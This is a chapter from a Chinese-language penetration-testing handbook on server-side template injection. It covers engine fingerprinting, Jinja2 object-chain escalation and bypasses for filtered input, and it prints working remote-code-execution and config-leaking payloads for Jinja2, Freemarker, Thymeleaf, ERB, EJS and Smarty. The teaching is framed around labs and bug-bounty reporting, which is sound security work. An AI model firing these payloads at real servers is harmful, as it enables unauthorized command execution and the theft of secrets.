逆向工程实战手册 第 98 章

第 98 章 SSTI 模板注入(Server-Side Template Injection)

SSTI = 用户输入被当作"模板代码"执行。从信息泄露到 RCE 的桥——是 SRC 高危漏洞常客,也是"探测→利用"链条最清晰的漏洞之一。本章覆盖 SSTI 原理、引擎识别、payload 构造、RCE 利用链。

📍 知识点地图 | 主题:SSTI | 前置:第58章 | 后续:— | 核心概念:引擎识别、Jinja2链、RCE payload、绕过

98.1 SSTI 原理(先懂为什么)

模板引擎: 服务端把"模板+数据"渲染成 HTML
  正常: 模板是开发者写的,数据是用户提供的
  SSTI: 用户输入进入了"模板"部分(被当成代码执行)

示例(Jinja2/Python):
  正常: render_template("Hello {{ name }}", name=user_input)
  漏洞: 如果 name 直接拼进模板字符串 → 用户输入被当模板代码

检测: 输入 {{7*7}} → 输出 49 → 存在 SSTI!

98.2 引擎识别(决定 payload)

检测三连

1. 基础探测: {{7*7}} ${7*7} <%= 7*7 %> #{7*7}
   → 哪个输出了 49 → 命中引擎族

2. 语法确认(区分引擎):
   {{7*'7'}}     → 49(Jinja2/Twig: 乘字符串=重复)
   ${7*'7'}      → 7777777(Freemarker: 字符串连接)
   <%= 7*'7' %>  → 报错或 7777777(ERB: 类型敏感)

3. 引擎指纹:
   报错信息(常泄露引擎名和版本)
   特定语法特征

主流引擎速查

引擎 语言 特征语法 RCE 难度
Jinja2 Python {{ }} ★★(利用链成熟)
Twig PHP {{ }} ★★
Freemarker Java ${ } ★★
Velocity Java #set / $ ★★★
Thymeleaf Java th: 属性 ★★
ERB Ruby <%= %> ★★★
EJS JS <%= %> ★★
Smarty PHP {$ } ★★

98.3 Jinja2 利用链(最成熟,重点学)

从对象到 RCE 的通用链

Jinja2 的对象模型: 一切皆对象,可从任意对象回溯到 Python 基类
经典链(寻找可利用类):
  {{ ''.__class__ }}            # <class 'str'>
  {{ ''.__class__.__mro__ }}    # 方法解析顺序(到 object)
  {{ ''.__class__.__mro__[1].__subclasses__() }}  # object 的所有子类

→ 在子类列表中找到可利用类:
  subprocess.Popen / os.system 相关类
  warnings.catch_warnings(经典: 有 __init__.__globals__)

标准 RCE payload

# 经典利用(找到 subprocess 或通过 catch_warnings 访问 os)
{{ ''.__class__.__mro__[1].__subclasses__() }}   # 列出索引

# 自动查找 subprocess.Popen 并执行
{{ ''.__class__.__mro__[1].__subclasses__()[<idx>]('id',shell=True,stdout=-1).communicate() }}

# 通用提权链(任何版本可用性高):
# 找 warnings.catch_warnings → __init__.__globals__ → 内置模块 → subprocess
{{ ''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
# (索引因版本而异,需要动态测试)

信息泄露(RCE 之前先试试)

{{ config }}              # Flask 配置(可能含密钥)
{{ self.__init__.__globals__ }}  # 全局变量
{{ request.application.__globals__ }}  # 应用上下文
{{ lipsum.__globals__ }}  # 内置函数全局(os 常在这里)

98.4 各引擎 RCE payload 速查

Freemarker:
  <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity:
  #set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))
  #set($chr=$x.class.forName('java.lang.Character'))
  ...(经典 Runtime.exec 链)

Thymeleaf:
  __${T(java.lang.Runtime).getRuntime().exec('id')}__

ERB(Ruby):
  <%= system('id') %>

EJS:
  <%= process.mainModule.require('child_process').execSync('id') %>
  # 新版: global.process.mainModule 可能为 undefined → 需其他链

Smarty:
  {system('id')}  或  {php}system('id');{/php}

98.5 绕过过滤(WAF 场景)

□ 关键字过滤: 拼接('cl'+'ass')/编码/unicode
□ 点号过滤: ['attr'] 下标访问
□ 括号过滤: filter 管道替代
□ 引号过滤: request 属性取值
□ 黑名单: 找替代属性(__getattribute__ → getattr)

示例(Jinja2 无点访问):
  {{ ''['__cla''ss__'] }}        # 字符串拼接绕过
  {{ request|attr('application') }}  # attr 过滤器替代点

98.6 检测与利用流程(完整)

1. 找模板渲染入口:
   □ 报错回显(模板错误信息)
   □ 用户输入进页面(搜索/用户名/导出文件名)
   □ 邮件模板/PDF 生成/导出功能(常是 SSTI 重灾区)
2. 基础探测: {{7*7}} 等
3. 引擎识别(语法/报错/指纹)
4. 信息泄露尝试(config/globals)
5. RCE 链构造(按引擎)
6. 验证: 命令输出回显
7. 记录: 入口+payload+输出

98.7 检查清单

□ 模板渲染入口识别
□ 基础探测({{7*7}} 等)
□ 引擎识别(语法+指纹)
□ 信息泄露(config/全局)
□ RCE 链(按引擎)
□ 绕过过滤(如需)
□ 影响评估(文件读/RCE/密钥)
□ 报告: 入口+payload+输出

动手练习

  1. 本地搭 Flask+Jinja2 的 SSTI 靶场(输入拼进模板),完成"探测→识别→RCE"全流程。
  2. 练习 3 个引擎(Jinja2/Freemarker/ERB)的 payload 构造(用在线靶场)。
  3. 构造一个绕过"点号过滤"的 Jinja2 payload(用下标/attr 替代)。
  4. 分析一个真实 SSTI 报告(HackerOne 公开),标注它的引擎和利用链。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-template-render-path/(模板渲染 CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-template-render-path/references/template-render-path.md(渲染链检查清单)
  • 仓库:skills/pentest-tools/SKILL.md(SSTImap 自动检测)
  • 仓库:skills/pentest-tools/references/web-attack-cheatsheet.md(配合 Web 测试)
  • 外部: PortSwigger SSTI 研究(权威)、SSTImap